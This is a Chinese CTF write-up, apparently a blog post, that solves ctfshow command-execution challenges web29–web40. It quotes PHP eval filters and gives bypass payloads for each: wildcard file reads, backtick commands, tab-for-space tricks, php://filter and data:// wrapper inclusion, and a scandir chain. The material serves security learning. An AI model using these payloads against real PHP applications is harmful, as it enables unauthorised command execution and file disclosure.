ctfshow(web入门-命令执行)-1

1.web29

只有当c参数的值不包含“flag”(区分大小写),才会执行这段代码

  $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    

只要payload中没有flag即可

先尝试cat (右键源代码)  tail,tac皆可

system("tail fla*");

tac 逆序读 

tail 默认读后10行 

使用文件显示函数

cp函数 等等。。

2.web30

  $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    不能出现 flag,system,php

 echo`cat fl*g.p*hp`; 代替 system  右键源代码查看

 highlight_file(base64_decode("ZmxhZy5waHA="));

3.web31

绕过

"flag"、"system"、"php"、"cat"、"sort"、"shell"、点号(".")、空格(" ")和单引号("'")

highlight_file(base64_decode("ZmxhZy5waHA="));

echo`tac%09fl*`; %09代替空格

第二种

使用 eval.让 1逃逸

 

4.web32

/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(

比上一题多了 echo ( ; 不能使用命令注入了,尝试其他方法。

c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

 5.web33

比上一题多了一个双引号

payload

c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

c=rerquirexx

6.web34

和上一题一样。

7.web35

payload同上

c=include$_GET[1]%0a?>&1=php://filter/convert.base64-encode/resource=flag.php

 

8.web36 

比上一关多了对数字的限制

 9.web37

有include先尝试一下

然后用data执行代码

 

10.web38

过滤了等于号

可以将 <?php system('ls')> >> <?= system("ls")>

c=data://text/plain/,<?=system('tac fl*.*')?>

 11.web39

payload 同上

c=data://text/plain/,<?=system('tac fl*.*')?>

12.web40 

官方解法

show_source(next(array_reverse(scandir(pos(localeconv())))));


小白一枚,如有不足请多多指教!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值